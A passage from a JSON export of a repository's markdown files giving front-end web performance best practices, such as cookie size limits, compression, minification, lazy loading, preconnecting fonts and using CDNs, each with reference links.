    "content": "# Cookie Size\n\n> If you are using cookies, be sure each cookie doesn't exceed 4096 bytes and your domain name doesn't have more than 20 cookies.\n\nCookies are exchanged in the HTTP headers between web servers and browsers. It's important to keep the size of cookies as low as possible to minimize the impact on the user's response time.\n\n- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265)\n- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n- [Browser Cookie Limits](http://browsercookielimits.squawky.net/)\n- [Website Performance: Cookies Don't Taste So Good - Monitis Blog](http://www.monitis.com/blog/website-performance-cookies-dont-taste-so-good/)\n- [Google's Web Performance Best Practices #3: Minimize Request Overhead - GlobalDots Blog](https://www.globaldots.com/googles-web-performance-best-practices-3-minimize-request-overhead/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/enable-compression.md",
    "content": "# Enable Compression\n\nUse a compression method such as Gzip or Brotli to reduce the size of your JavaScript files. With smaller file sizes, users will be able to download the asset faster, resulting in improved performance.\n\n- [Check GZIP compression](https://checkgzipcompression.net/)\n- [Check Brotli Compression](https://tools.keycdn.com/brotli-test)\n- [Can I use... Brotli](https://caniuse.com/#feat=brotli)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/framework-guides.md",
    "content": "# Framework Guides\n\nThese guides are intended to help you optimize your application for performance when using a specific framework.\n\n## Angular\n\n- [Angular Performance Checklist](https://github.com/mgechev/angular-performance-checklist)\n\n## React\n\n- [Optimizing Performance - React](https://reactjs.org/docs/optimizing-performance.html)\n- [React image manipulation | Cloudinary](https://cloudinary.com/documentation/react_image_manipulation)\n- [Debugging React performance with React 16 and Chrome Devtools.](https://building.calibreapp.com/debugging-react-performance-with-react-16-and-chrome-devtools-c90698a522ad)\n- [Build Performant - React](https://web.dev/react/)\n\n## Vue\n\n- [Vue - Useful Links|Style Guide and Performance](https://learn-vuejs.github.io/vue-patterns/useful-links/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/index.md",
    "content": "#\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/inline-critical-css.md",
    "content": "# Inline Critical CSS\n\n> The CSS critical (or \"above the fold\") collects all the CSS used to render the visible portion of the page. It is embedded before your principal CSS call and between `<style></style>` in a single line (minified if possible).\n\nInlining critical CSS help to speed up the rendering of the web pages reducing the number of requests to the server.\n\nGenerate the CSS critical with online tools or using a plugin like the one that Addy Osmani developed.\n\n- [Understanding Critical CSS](https://www.smashingmagazine.com/2015/08/understanding-critical-css/)\n- [Critical by Addy Osmani on GitHub](https://github.com/addyosmani/critical) automates this.\n- [Inlining critical CSS for better web performance | Go Make Things](https://gomakethings.com/inlining-critical-css-for-better-web-performance/)\n- [Critical Path CSS Generator - Prioritize above the fold content :: SiteLocity](https://www.sitelocity.com/critical-path-css-generator)\n- [Reduce the size of the above-the-fold content](https://developers.google.com/speed/docs/insights/PrioritizeVisibleContent)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/keep-cookie-count-below-20.md",
    "content": "# Cookie Size\n\n> If you are using cookies, be sure each cookie doesn't exceed 4096 bytes and your domain name doesn't have more than 20 cookies.\n\nCookies are exchanged in the HTTP headers between web servers and browsers. It's important to keep the size of cookies as low as possible to minimize the impact on the user's response time.\n\n- [Cookie specification: RFC 6265](https://tools.ietf.org/html/rfc6265)\n- [Cookies](https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies)\n- [Browser Cookie Limits](http://browsercookielimits.squawky.net/)\n- [Website Performance: Cookies Don't Taste So Good - Monitis Blog](http://www.monitis.com/blog/website-performance-cookies-dont-taste-so-good/)\n- [Google's Web Performance Best Practices #3: Minimize Request Overhead - GlobalDots Blog](https://www.globaldots.com/googles-web-performance-best-practices-3-minimize-request-overhead/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/keep-dependencies-up-to-date.md",
    "content": "# Dependency Updates\n\n> All JavaScript libraries used in your project are necessary (prefer Vanilla JavaScript for simple functionalities), updated to their latest version and don't overwhelm your JavaScript with unnecessary methods.\n\nMost of the time, new versions come with optimization and security fix. You should use the most optimized code to speed up your project and ensure that you'll not slow down your website or app without outdated plugin.\n\nIf your project use NPM packages, [npm-check](https://www.npmjs.com/package/npm-check) is a pretty interesting library to upgrade / update your libraries. [Greenkeeper](https://greenkeeper.io/) can automatically look for your dependencies and suggest an update every time a new version is out.\n\n- [Vanilla JavaScript for building powerful web applications](https://plainjs.com/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/keep-ttfb-less-1-3s.md",
    "content": "# Keep TTFB < 1.3s\n\nReduce as much as you can the time your browser waits before receiving data.\n\n- [What is Waiting (TTFB) in DevTools, and what to do about it](https://scaleyourcode.com/blog/article/27)\n- [Monitoring your servers with free tools is easy](https://scaleyourcode.com/blog/article/7)\n- [Global latency testing tool](https://latency.apex.sh)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/keep-web-font-under-300k.md",
    "content": "# Keep Web Font Size Under 300kb\n\nWeb fonts are a great way to add style to your website. However, they can also be a major performance bottleneck. The more fonts you use, the more time it takes for the browser to download and render the page. This can lead to a poor user experience and a high bounce rate.\n\nWebfont sizes shouldn't exceed 300kb (all variants included) and are optimized for performance.\n\n- [Font Bytes - Page Weight](https://httparchive.org/reports/page-weight#bytesFont)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/lighthouse.md",
    "content": "# Lighthouse\n\nLighthouse is an open-source tool developed by Google that is used to audit the performance, accessibility, and SEO of web pages. It is available as a browser extension and as a command-line tool, and it can be run on any web page to generate a report with recommendations for improvement.\n\nLighthouse works by simulating the load and interaction of a web page and measuring various performance metrics, such as load time, time to first paint, and time to interactive. It also checks for common issues such as incorrect image sizes, missing alt text, and broken links.\n\nLighthouse provides a comprehensive and easy-to-use tool for identifying and fixing performance and accessibility issues on web pages. It is widely used by web developers and is integrated into many popular development tools.\n\nVisit the following resources to learn more:\n\n- [Lighthouse - Google Developers](https://developers.google.com/web/tools/lighthouse)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/load-offscreen-images-lazily.md",
    "content": "# Lazy Loading\n\n> Offscreen images are loaded lazily (A noscript fallback is always provided).\n\nIt will improve the response time of the current page and then avoid loading unnecessary images that the user may not need.\n\n- Use Lighthouse to identify how many images are offscreen.\n- Use a JavaScript plugin like the following to lazyload your images. Make sure you target offscreen images only.\n- Also make sure to lazyload alternative images shown at mouseover or upon other user actions.\n\n- [verlok/lazyload: GitHub](https://github.com/verlok/lazyload)\n- [aFarkas/lazysizes: GitHub](https://github.com/aFarkas/lazysizes/)\n- [mfranzke/loading-attribute-polyfill: GitHub](https://github.com/mfranzke/loading-attribute-polyfill/)\n- [Lazy Loading Images and Video | Web Fundamentals | Google Developers](https://developers.google.com/web/fundamentals/performance/lazy-loading-guidance/images-and-video/)\n- [5 Brilliant Ways to Lazy Load Images For Faster Page Loads - Dynamic Drive Blog](http://blog.dynamicdrive.com/5-brilliant-ways-to-lazy-load-images-for-faster-page-loads/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/make-css-files-non-blocking.md",
    "content": "# Non-Blocking CSS\n\n> CSS files need to be non-blocking to prevent the DOM from taking time to load.\n\nCSS files can block the page load and delay the rendering of your page. Using `preload` can actually load the CSS files before the browser starts showing the content of the page.\n\nYou need to add the `rel` attribute with the preload value and add `as=\"style\"` on the `<link>` element.\n\n- [loadCSS by filament group](https://github.com/filamentgroup/loadCSS)\n- [Example of preload CSS using loadCSS](https://gist.github.com/thedaviddias/c24763b82b9991e53928e66a0bafc9bf)\n- [Preloading content with rel=\"preload\"](https://developer.mozilla.org/en-US/docs/Web/HTML/Preloading_content)\n- [Preload: What Is It Good For? — Smashing Magazine](https://www.smashingmagazine.com/2016/02/preload-what-is-it-good-for/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/minify-css.md",
    "content": "# Minify CSS\n\n> All CSS files are minified, comments, white spaces and new lines are removed from production files.\n\nWhen CSS files are minified, the content is loaded faster and less data is sent to the client. It's important to always minify CSS files in production. It is beneficial for the user as it is for any business who wants to lower bandwidth costs and lower resource usage.\n\nUse tools to minify your files automatically before or during your build or your deployment.\n\n- [cssnano: A modular minifier based on the PostCSS ecosystem. - cssnano](https://cssnano.github.io/cssnano/)\n- [CSS Minifier](https://goonlinetools.com/css-minifier/)\n- [@neutrinojs/style-minify - npm](https://www.npmjs.com/package/@neutrinojs/style-minify)\n- [Online CSS Compressor](http://refresh-sf.com)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/minify-html.md",
    "content": "# Minify HTML\n\n> The HTML code is minified, comments, white spaces and new lines are removed from production files.\n\nRemoving all unnecessary spaces, comments and attributes will reduce the size of your HTML and speed up your site's page load times and obviously lighten the download for your user.\n\nMost of the frameworks have plugins to facilitate the minification of the webpages. You can use a bunch of NPM modules that can do the job for you automatically.\n\n- [HTML minifier | Code Beautify](https://codebeautify.org/minify-html)\n- [Online HTML Compressor](http://refresh-sf.com)\n- [Experimenting with HTML minifier — Perfection Kills](http://perfectionkills.com/experimenting-with-html-minifier/#use_short_doctype)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/minify-your-javascript.md",
    "content": "# Minify JavaScript\n\n> All JavaScript files are minified, comments, white spaces and new lines are removed from production files (still valid if using HTTP/2).\n\nRemoving all unnecessary spaces, comments and break will reduce the size of your JavaScript files and speed up your site's page load times and obviously lighten the download for your user.\n\nUse the tools suggested below to minify your files automatically before or during your build or your deployment.\n\n- [terser - JavaScript parser, mangler and compressor toolkit for ES6+](https://github.com/terser/terser)\n- [uglify-js - npm](https://www.npmjs.com/package/uglify-js)\n- [Online JavaScript Compressor](http://refresh-sf.com)\n- [Short read: How is HTTP/2 different? Should we still minify and concatenate?](https://scaleyourcode.com/blog/article/28)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/minimize-http-requests.md",
    "content": "# Minimize HTTP Requests\n\n> Always ensure that every file requested are essential for your website or application.\n> Combine files, Enable caching, use a content delivery network and Eliminate unnecessary resources \n\n- [Best Strategies for Minimizing HTTP Requests](https://www.linkedin.com/advice/3/what-best-strategies-minimizing-http-requests-skills-e-commerce)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/minimize-iframe-count.md",
    "content": "# Avoid iframes\n\nUse iframes only if you don't have any other technical possibility. Try to avoid iframes as much as you can. Iframes are not only bad for performance, but also for accessibility and usability. Iframes are also not indexed by search engines.\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/page-load-time-below-3s.md",
    "content": "# Page Load Time\n\n> Reduce as much as possible your page load times to quickly deliver your content to your users.\n\nFaster your website or app is, less you have probability of bounce increases, in other terms you have less chances to lose your user or future client. Enough researches on the subject prove that point.\n\nUse online tools like [Page Speed Insights](https://developers.google.com/speed/pagespeed/insights/) or [WebPageTest](https://www.webpagetest.org/) to analyze what could be slowing you down and use the Front-End Performance Checklist to improve your load times.\n\n- [Compare your mobile site speed](https://www.thinkwithgoogle.com/feature/mobile/)\n- [Test Your Mobile Website Speed and Performance - Think With Google](https://testmysite.thinkwithgoogle.com/intl/en-us)\n- [Average Page Load Times for 2018 - How does yours compare? - MachMetrics Speed Blog](https://www.machmetrics.com/speed-blog/average-page-load-times-websites-2018/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/page-speed-insights.md",
    "content": "# Page Speed Insights\n\nPage Speed Insights is a free tool from Google that analyzes the performance of a web page and provides suggestions for improvements.\n\n- [Page Speed Insights](https://pagespeed.web.dev/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/page-weight-below-1500.md",
    "content": "# Page weight below 1500\n\n> Reduce the size of your page + resources as much as you can.\n\nIdeally you should try to target < 500 KB but the state of web shows that the median of Kilobytes is around 1500 KB (even on mobile). Depending on your target users, network connection, devices, it's important to reduce as much as possible your total Kilobytes to have the best user experience possible.\n\nAll the listed best practices in this list will help you to reduce as much as possible your resources and your code.\n\n- [Page Weight](https://httparchive.org/reports/page-weight#bytesTotal)\n- [What Does My Site Cost?](https://whatdoesmysitecost.com/)\n- [web - Measure full page size in Chrome DevTools - Stack Overflow](https://stackoverflow.com/questions/38239980/measure-full-page-size-in-chrome-devtools)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/pre-load-urls-where-possible.md",
    "content": "# Preload URLs\n\n> Popular browsers can use directive on `<link>` tag and `\"rel\"` attribute with certain keywords to pre-load specific URLs\n\nPrefetching allows a browser to silently fetch the necessary resources needed to display content that a user might access in the near future. The browser is able to store these resources in its cache and speed up the way web pages load when they are using different domains for page resources. When a web page has finished loading and the idle time has passed, the browser begins downloading other resources. When a user go in a particular link (already prefetched), the content will be instantly served.\n\n- [What Is Prefetching and Why Use It](https://www.keycdn.com/support/prefetching)\n- [Prefetching, preloading, prebrowsing](https://css-tricks.com/prefetching-preloading-prebrowsing/)\n- [What is Preload, Prefetch, and Preconnect](https://www.keycdn.com/blog/resource-hints)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/prefer-vector-images.md",
    "content": "# Prefer Vector Images\n\n> Prefer using vector image rather than bitmap images (when possible).\n\nVector images (SVG) tend to be smaller than images and SVG's are responsive and scale perfectly. These images can be animated and modified by CSS.\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/prevent-flash-text.md",
    "content": "# Prevent Flash Text\n\n> Avoid transparent text until the Webfont is loaded\n\n- [`font-display` for the Masses](https://css-tricks.com/font-display-masses/)\n- [CSS font-display: The Future of Font Rendering on the Web](https://www.sitepoint.com/css-font-display-future-font-rendering-web/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/recommended-guides.md",
    "content": "# Recommended Guides\n\n> Optimize the critical rendering path:\n\n- [Critical CSS? Not So Fast!](https://csswizardry.com/2022/09/critical-css-not-so-fast/)\n- [Priority Hints - What Your Browser Doesn’t Know (Yet)](https://www.etsy.com/codeascraft/priority-hints-what-your-browser-doesnt-know-yet)\n- [Optimizing resource loading with Priority Hints](https://web.dev/priority-hints/)\n- [Chrome Resource Priorities and Scheduling](https://docs.google.com/document/d/1bCDuq9H1ih9iNjgzyAL0gpwNFiEP4TZS-YLRp_RuMlc/edit?usp=sharing)\n- [How To Optimize CSS for Peak Site Performance](https://kinsta.com/blog/optimize-css/)\n- [Eliminate render blocking CSS to improve start render time](https://www.jeffreyknox.dev/blog/eliminate-render-blocking-css-to-improve-start-render-time/)\n- [Small Bundles, Fast Pages: What To Do With Too Much JavaScript](https://calibreapp.com/blog/bundle-size-optimization)\n- [How to Eliminate Render-Blocking Resources: a Deep Dive](https://sia.codes/posts/render-blocking-resources/)\n- [The Critical Request: How to Prioritise Requests to Improve Speed](https://calibreapp.com/blog/critical-request)\n- [How to Improve CSS Performance](https://calibreapp.com/blog/css-performance)\n- [The Simplest Way to Load CSS Asynchronously](https://www.filamentgroup.com/lab/load-css-simpler/)\n- [CSS audit](https://css-tricks.com/a-quick-css-audit-and-general-notes-about-design-systems/)\n- [Measuring the Critical Rendering Path](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/measure-crp)\n- [Inlining or Caching? Both Please!](https://www.filamentgroup.com/lab/inlining-cache.html)\n- [CSS and Network Performance](https://csswizardry.com/2018/11/css-and-network-performance/)\n- [Analyzing Critical Rendering Path Performance](https://developers.google.com/web/fundamentals/performance/critical-rendering-path/analyzing-crp)\n- [Front-End Performance Checklist](https://github.com/thedaviddias/Front-End-Performance-Checklist)\n- [The PRPL Pattern](https://developers.google.com/web/fundamentals/performance/prpl-pattern/)\n- [Now You See Me: How To Defer, Lazy-Load And Act With IntersectionObserver](https://www.smashingmagazine.com/2018/01/deferring-lazy-loading-intersection-observer-api/)\n- [Optimising the front end for the browser](https://hackernoon.com/optimising-the-front-end-for-the-browser-f2f51a29c572)\n- [Prefer DEFER Over ASYNC](https://calendar.perfplanet.com/2016/prefer-defer-over-async/)\n- [A comprehensive guide to font loading strategies](https://www.zachleat.com/web/comprehensive-webfonts/)\n- [Understanding the critical rendering path, rendering pages in 1 second](https://medium.com/@luisvieira_gmr/understanding-the-critical-rendering-path-rendering-pages-in-1-second-735c6e45b47a)\n- [More Weight Doesn’t Mean More Wait](https://www.filamentgroup.com/lab/weight-wait.html)\n\n> JavaScript Rendering Performance\n\n- [Five Data-Loading Patterns To Boost Web Performance](https://www.smashingmagazine.com/2022/09/data-loading-patterns-improve-frontend-performance/)\n- [Optimize long tasks](https://web.dev/optimize-long-tasks/)\n- [The impact of removing jQuery on our web performance](https://insidegovuk.blog.gov.uk/2022/08/15/the-impact-of-removing-jquery-on-our-web-performance/)\n- [Profiling & Optimizing the runtime performance with the DevTools Performance tab](iamtk.co/profiling-and-optimizing-the-runtime-performance-with-the-devtools-performance-tab)\n- [Don't fight the browser preload scanner](https://web.dev/preload-scanner/)\n- [The Web Performance impact of jQuery](https://twitter.com/TheRealNooshu/status/1509487050122276864)\n- [Have Single-Page Apps Ruined the Web? | Transitional Apps](https://www.youtube.com/watch?v=860d8usGC0o)\n- [Improve how you architect webapps](https://www.patterns.dev/)\n- [Nuxt SSR Optimizing Tips](https://vueschool.io/articles/vuejs-tutorials/nuxt-ssr-optimizing-tips/), Filip Rakowski\n- [GPU accelerated JavaScript](https://gpu.rocks/#/)\n- [Introducing Partytown 🎉: Run Third-Party Scripts From a Web Worker](https://dev.to/adamdbradley/introducing-partytown-run-third-party-scripts-from-a-web-worker-2cnp)\n- [Astro: Astro is a fresh but familiar approach to building websites. Astro combines decades of proven performance best practices with the DX improvements of the component-oriented era. Use your favorite JavaScript framework and automatically ship the bare-minimum amount of JavaScript—by default.](https://docs.astro.build/getting-started/)\n- [Minimising Layout and Layout thrashing for 60 FPS](https://www.harrytheo.com/blog/2021/09/dom-reflow-and-layout-thrashing/)\n- [Does shadow DOM improve style performance?](https://nolanlawson.com/2021/08/15/does-shadow-dom-improve-style-performance/)\n- [Debugging memory leaks - HTTP 203](https://www.youtube.com/watch?v=YDU_3WdfkxA)\n- [Explore JavaScript Dependencies With Lighthouse Treemap](https://sia.codes/posts/lighthouse-treemap/)\n- [The real cost of Javascript dependencies (and the state of JS package quality)](https://medium.com/voodoo-engineering/the-real-cost-of-javascript-dependencies-and-the-state-of-js-package-quality-a8dacd74c0ec)\n- [The State Of Web Workers In 2021](https://www.smashingmagazine.com/2021/06/web-workers-2021/)\n- [Techniques for developing high-performance animations](https://web.dev/animations/)\n- [Building a Faster Web Experience with the postTask Scheduler](https://medium.com/airbnb-engineering/building-a-faster-web-experience-with-the-posttask-scheduler-276b83454e91), Callie (Airbnb Engineering & Data Science)\n- [Don’t attach tooltips to document.body – Learn how the browser works – Debug forced reflow](https://atfzl.com/don-t-attach-tooltips-to-document-body)\n- [How to Create and Fix Memory Leaks With Chrome DevTools](https://betterprogramming.pub/build-me-an-angular-app-with-memory-leaks-please-36302184e658)\n- [JavaScript performance beyond bundle size](https://nolanlawson.com/2021/02/23/javascript-performance-beyond-bundle-size/)\n- [The Import On Interaction Pattern](https://addyosmani.com/blog/import-on-interaction/)\n- [The “Live DOM” Is Not “Slow”, “Bad”, Or “Wrong”. Web Developers Are.](https://levelup.gitconnected.com/the-live-dom-is-not-slow-bad-or-wrong-web-developers-are-2bf86c3b9e2e)\n- [Prevent layout shifts with CSS grid stacks](https://www.hsablonniere.com/prevent-layout-shifts-with-css-grid-stacks--qcj5jo/)\n- [content-visibility: the new CSS property that boosts your rendering performance](https://web.dev/content-visibility/)\n- [Preact vs React - Updating React at Etsy](https://github.com/mq2thez/blog/blob/main/upgrade-react-etsy/preact-vs-react.md)\n- [The Cost of Javascript Frameworks](https://timkadlec.com/remembers/2020-04-21-the-cost-of-javascript-frameworks/)\n- [Fixing memory leaks in web applications](https://nolanlawson.com/2020/02/19/fixing-memory-leaks-in-web-applications/)\n- [How to load polyfills only when needed](https://3perf.com/blog/polyfills/)\n- [Responsible JavaScript: Part III - Third parties](https://alistapart.com/article/responsible-javascript-part-3/)\n- [The cost of JavaScript in 2019](https://v8.dev/blog/cost-of-javascript-2019)\n- [When should you be using Web Workers?](https://dassur.ma/things/when-workers/)\n- [Responsible Javascript: Part II - Code Bundle](https://alistapart.com/article/responsible-javascript-part-2/)\n- [Faster script loading with BinaryAST?](https://blog.cloudflare.com/binary-ast/)\n- [Svelte 3: Rethinking reactivity](https://svelte.dev/blog/svelte-3-rethinking-reactivity)\n- [Responsible Javascript: Part I - Web platform over frameworks](https://alistapart.com/article/responsible-javascript-part-1/)\n- [JavaScript Loading Priorities in Chrome](https://addyosmani.com/blog/script-priorities/)\n- [Idle Until Urgent](https://philipwalton.com/articles/idle-until-urgent/)\n- [Browser painting and considerations for web performance](https://css-tricks.com/browser-painting-and-considerations-for-web-performance/)\n- [The Cost Of JavaScript In 2018](https://medium.com/@addyosmani/the-cost-of-javascript-in-2018-7d8950fbb5d4) ([Video](https://www.youtube.com/watch?v=i5R7giitymk))\n- [Examining Web Worker Performance](https://www.jameslmilner.com/posts/web-worker-performance)\n- [Front-End Performance Checklist](https://github.com/thedaviddias/Front-End-Performance-Checklist)\n- [jankfree](http://jankfree.org/)\n- [What forces layout/reflow?](https://gist.github.com/paulirish/5d52fb081b3570c81e3a)\n- [Using requestIdleCallback](https://developers.google.com/web/updates/2015/08/using-requestidlecallback)\n- [Optimize Javascript Execution](https://developers.google.com/web/fundamentals/performance/rendering/optimize-javascript-execution)\n- [Why Web Developers Need to Care about Interactivity](https://philipwalton.com/articles/why-web-developers-need-to-care-about-interactivity/)\n- [Improving Performance with the Paint Timing API](https://www.sitepen.com/blog/2017/10/06/improving-performance-with-the-paint-timing-api)\n- [Deploying ES2015+ Code in Production Today](https://philipwalton.com/articles/deploying-es2015-code-in-production-today/)\n- [Performant Web Animations and Interactions: Achieving 60 FPS](https://blog.algolia.com/performant-web-animations/)\n- [JavaScript Start-up Performance](https://medium.com/reloading/javascript-start-up-performance-69200f43b201)\n- [Performant Parallaxing](https://developers.google.com/web/updates/2016/12/performant-parallaxing)\n- [The Anatomy of a Frame](https://aerotwist.com/blog/the-anatomy-of-a-frame/)\n- [The future of loading CSS](https://jakearchibald.com/2016/link-in-body/)\n- [4 Types of Memory Leaks in JavaScript and How to Get Rid Of Them](https://auth0.com/blog/four-types-of-leaks-in-your-javascript-code-and-how-to-get-rid-of-them/)\n- [The cost of frameworks](https://aerotwist.com/blog/the-cost-of-frameworks/)\n- [FLIP Your Animations](https://aerotwist.com/blog/flip-your-animations/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/remove-unused-css.md",
    "content": "# Remove Unused CSS\n\nRemoving unused CSS selectors can reduce the size of your files and then speed up the load of your assets.\n\nAlways check if the framework CSS you want to use don't already has a reset / normalize code included. Sometimes you may not need everything that is inside your reset / normalize file.\n\n- [UnCSS Online](https://uncss-online.com/)\n- [PurifyCSS](https://github.com/purifycss/purifycss)\n- [PurgeCSS](https://github.com/FullHuman/purgecss)\n- [Chrome DevTools Coverage](https://developers.google.com/web/updates/2017/04/devtools-release-notes#coverage)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/serve-exact-size-images.md",
    "content": "# Responsive Images\n\n> Ensure to serve images that are close to your display size.\n\nSmall devices don't need images bigger than their viewport. It's recommended to have multiple versions of one image on different sizes.\n\n- Create different image sizes for the devices you want to target\n- Use `srcset` and `picture` to deliver multiple variants of each image.\n\n- [Responsive images - Learn web development | MDN](https://developer.mozilla.org/en-US/docs/Learn/HTML/Multimedia_and_embedding/Responsive_images)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/set-width-height-images.md",
    "content": "# Image Dimensions\n\n> Set width and height attributes on `<img>` if the final rendered image size is known.\n\nIf height and width are set, the space required for the image is reserved when the page is loaded. However, without these attributes, the browser does not know the size of the image, and cannot reserve the appropriate space to it. The effect will be that the page layout will change during loading (while the images load).\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/squoosh-ap.md",
    "content": "# Squoosh.app\n\nSquoosh.app is a web app that allows you to compress images using a variety of codecs. It is built by Google Chrome team and is open source.\n\n- [Squoosh.app](https://squoosh.app/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-cdn.md",
    "content": "# Use CDN\n\nUse a CDN to serve your static assets. This will reduce the load on your server and improve the performance of your site.\n\n- [10 Tips to Optimize CDN Performance - CDN Planet](https://www.cdnplanet.com/blog/10-tips-optimize-cdn-performance/)\n- [HTTP Caching | Web Fundamentals | Google Developers](https://developers.google.com/web/fundamentals/performance/optimizing-content-efficiency/http-caching)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-http-cache-headers.md",
    "content": "# HTTP Caching\n\nSet HTTP headers to avoid expensive number of roundtrips between your browser and the server.\n\n- [HTTP Caching Overview](https://developer.mozilla.org/en-US/docs/Web/HTTP/Caching)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-https-on-your-website.md",
    "content": "# Use HTTPs\n\nHTTPS is not only for ecommerce websites, but for all websites that are exchanging data. Data shared by a user or data shared to an external entity. Modern browsers today limit functionalities for sites that are not secure. For example: geolocation, push notifications and service workers don't work if your instance is not using HTTPS. And today is much more easy to setup a project with an SSL certificate than it was before (and for free, thanks to Let's Encrypt).\n\n- [Why Use HTTPS? | Cloudflare](https://www.cloudflare.com/learning/security/why-use-https/)\n- [Enabling HTTPS Without Sacrificing Your Web Performance - Moz](https://moz.com/blog/enabling-https-without-sacrificing-web-performance)\n- [How HTTPS Affects Website Performance](https://wp-rocket.me/blog/https-affects-website-performance/)\n- [HTTP versus HTTPS versus HTTP2 - The real story | Tune The Web](https://www.tunetheweb.com/blog/http-versus-https-versus-http2/)\n- [HTTP vs HTTPS — Test them both yourself](https://www.httpvshttps.com/)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-non-blocking-javascript.md",
    "content": "# Non-Blocking JavaScript\n\nJavaScript files are loaded asynchronously using async or deferred using defer attribute.\n\n```javascript\n<!-- Defer Attribute -->\n<script defer src=\"foo.js\"></script>\n\n<!-- Async Attribute -->\n<script async src=\"foo.js\"></script>\n```\n\nJavaScript blocks the normal parsing of the HTML document, so when the parser reaches a `<script>` tag (particularly is inside the `<head>`), it stops to fetch and run it. Adding async or defer are highly recommended if your scripts are placed in the top of your page but less valuable if just before your `</body>` tag. But it's a good practice to always use these attributes to avoid any performance issue.\n\n- Add `async` (if the script doesn't rely on other scripts) or `defer` (if the script relies upon or is relied upon by an async script) as an attribute to your script tag.\n- If you have small scripts, maybe use inline script place above async scripts.\n\n- [Remove Render-Blocking JavaScript](https://developers.google.com/speed/docs/insights/v5/get-started)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-preconnect-to-load-fonts.md",
    "content": "# Preconnect on Fonts\n\n```html\n<link rel=\"preconnect\" href=\"https://fonts.gstatic.com\" crossorigin />\n```\n\nWhen you arrived on a website, your device needs to find out where your site lives and which server it needs to connect with. Your browser had to contact a DNS server and wait for the lookup complete before fetching the resource (fonts, CSS files...). Prefetches and preconnects allow the browser to lookup the DNS information and start establishing a TCP connection to the server hosting the font file. This provides a performance boost because by the time the browser gets around to parsing the css file with the font information and discovering it needs to request a font file from the server, it will already have pre-resolved the DNS information and have an open connection to the server ready in its connection pool.\n\n- Before prefetching your webfonts, use webpagetest to evaluate your website\n- Look for teal colored DNS lookups and note the host that are being requested\n- Prefetch your webfonts in your `<head>` and add eventually these hostnames that you should prefetch too\n\n- [Faster Google Fonts with Preconnect - CDN Planet](https://www.cdnplanet.com/blog/faster-google-webfonts-preconnect/)\n- [Make Your Site Faster with Preconnect Hints | Viget](https://www.viget.com/articles/make-your-site-faster-with-preconnect-hints/)\n- [Ultimate Guide to Browser Hints: Preload, Prefetch, and Preconnect - MachMetrics Speed Blog](https://www.machmetrics.com/speed-blog/guide-to-browser-hints-preload-preconnect-prefetch/)\n- [A Comprehensive Guide to Font Loading Strategies—zachleat.com](https://www.zachleat.com/web/comprehensive-webfonts/#font-face)\n- [typekit/webfontloader: Web Font Loader gives you added control when using linked fonts via @font-face.](https://github.com/typekit/webfontloader)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-same-protocol.md",
    "content": "# Use same Protocol\n\nAvoid having your website serving files coming from source using HTTP on your website which is using HTTPS for example. If your website is using HTTPS, external files should come from the same protocol.\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-service-workers-for-caching.md",
    "content": "# Use Service Workers\n\nYou are using Service Workers in your PWA to cache data or execute possible heavy tasks without impacting the user experience of your application.\n\n- [Service Workers: an Introduction | Web Fundamentals | Google Developers](https://developers.google.com/web/fundamentals/primers/service-workers/)\n- [Measuring the Real-world Performance Impact of Service Workers | Web | Google Developers](https://developers.google.com/web/showcase/2016/service-worker-perf)\n- [What Are Service Workers and How They Help Improve Performance](https://www.keycdn.com/blog/service-workers/)\n- [How does a service worker work? - YouTube](https://www.youtube.com/watch?v=__xAtWgfzvc)\n"
  },
  {
    "path": "src/data/best-practices/frontend-performance/content/use-woff2-font-format.md",
